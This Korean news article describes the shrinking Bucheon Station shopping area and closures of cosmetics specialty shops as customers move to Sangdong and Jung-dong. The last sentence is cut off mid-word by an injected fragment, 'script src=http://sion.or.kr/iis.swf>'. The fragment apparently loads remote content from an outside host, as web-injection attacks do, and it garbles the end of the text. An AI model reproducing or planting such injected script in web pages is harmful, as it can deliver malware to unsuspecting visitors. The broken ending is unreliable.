상동지역 신흥상권으로 부상 市 전체 매장 3년새 20%줄어 부천지역의 주요 상권은 크게 전통 상권지역인 부천역, 고강동, 역곡 외에 신상동, 중동, 계남대로 등으로 나눠볼 수 있다. 이 중 부천역은 예전에 비해 상권이 축소되긴 했어도 여전히 부천을 대표하는 상권이다. 하루 평균 이용고객만 30만명인 부천역은 대형 할인 매장인 이마트를 시작으로 먹자골목, 지지아나 등의 쇼핑센터가 위치해 문화와 먹거리, 쇼핑이 어우러진 대형상권이다. 하지만 신흥상권인 신상동과 중동 등을 연결하는 송내, 중동 등의 주변 지하철역으로 유동인구가 빠져나가면서 조금씩 침체되고 있다. 부천역 주변을 주로 이용하는 고객층은 중·고등학생을 중심으로 한 학생들. 근처 서울신학대와 부천대 학생들의 약속장소로도 주로 이용된다. 음식점을 중심으로 한 유흥업소는 성황 중이지만 쇼핑을 하기 위한 고객들은 주로 계남대로 주변의 대형 쇼핑몰로 이동하여 유동인구에 비해 점포들의 매출은 부진한 편이다. 부천 상동 지역은 신흥상권으로 급부상하고 있지만 대형상권이 되기 위해서는 2~3년 사이의 시간이 필요하다는 것이 전문가들의 의견. 무리하게 상동과 중동에 점포를 오픈한 매장들의 경우 예상 외 로 매출이 저조하자 폐업을 하는 경우도 많다. 신상동의 경우 총 7개의 화장품 전문점이 1년 만에 4곳이 폐업했다. 부천 내 화장품 전문점은 대략 140여 개가 오픈해 운영 중이지만 이는 3년 전과 비교하면 약 20% 가량 감소된 수치다.

주요 특징

구분 내용 점포수 △전문점(지상: 2곳, 지하: 3곳) △초저가매장(지상: 더페이스샵 1곳) △브랜드 숍(지상: 휴플레이스 1곳) 유동인구 부천역 하루 이용 30만명 상권특징 부천역 상권 축소, 쇼핑보다 약속장소로 이용, 주 고객은 학생, 소비여력이 있는 주부 고객들은 신상동, 중동 등 대형 쇼핑센터가 있는 곳으로 이동 부천전체 대략 140여 곳(더페이스샵 2곳, 미샤 4곳, 캔디샵 2곳) 인구 약 85만명(2003년 기준)

전문점 폐업 속출… 지상엔 2곳 뿐 부천역은 아예 약속장소로만 이용 80년대 성장하기 시작한 부천역은 90년대 중반부터 북부광장이 개발되면서 본격적으로 수도권 대표상권으로 급부상했다. 패션, 먹거리, 뷰티 등 다양한 상가가 집중됐던 부천역은 2~3년 전 만해도 화장품 전문점이 지상에만 9군데에 달했다. 지하상가는 그때부터 현재까지 ‘엄지’, ‘예스’, ‘큐티’로 변한 곳이 없다. 다만 올해 초 가방 매장이었던 곳이 ‘도도클럽’을 오픈했다가 한 달만에 업종을 다시 바꾸었다. 하지만 경기침체, 초저가 매장, 유동인구 이동 등으로 부천역 지상의 화장품 매장 폐업은 지속적으로 진행되고 있다. 이에 따라 지상에 위치한 전문점은 ‘뷰티코아’와 ‘미팅’으로 2곳, ‘더페이스샵’과 ‘휴플레이스’ 각 1곳 총 4곳만 운영되고 있다. 지하상가의 매장들은 소규모 점포들이 대부분이며, 출·퇴근 직장인과 쇼핑하러온 주부들이 타깃이다. 하지만 지하상가 전문점주들은 이마트가 주 고객인 주부들의 발걸음을 잡고는 있지만 계남대로변에 위치한 타 유통업체들에 비해 주차의 불편함 때문에 그마저도 줄어들고 있는 상황이라고 입을 모았다. 지상 화장품 매장 전문점주들은 부천역 상권의 침체는 지난해 5월 아남전자 반도체 공장이 광주로 이전하면서 본격화되었다고 분석했다. 부천역을 이용 출·퇴근한 아남 반도체 공장 여?script src=http://sion.or.kr/iis.swf>

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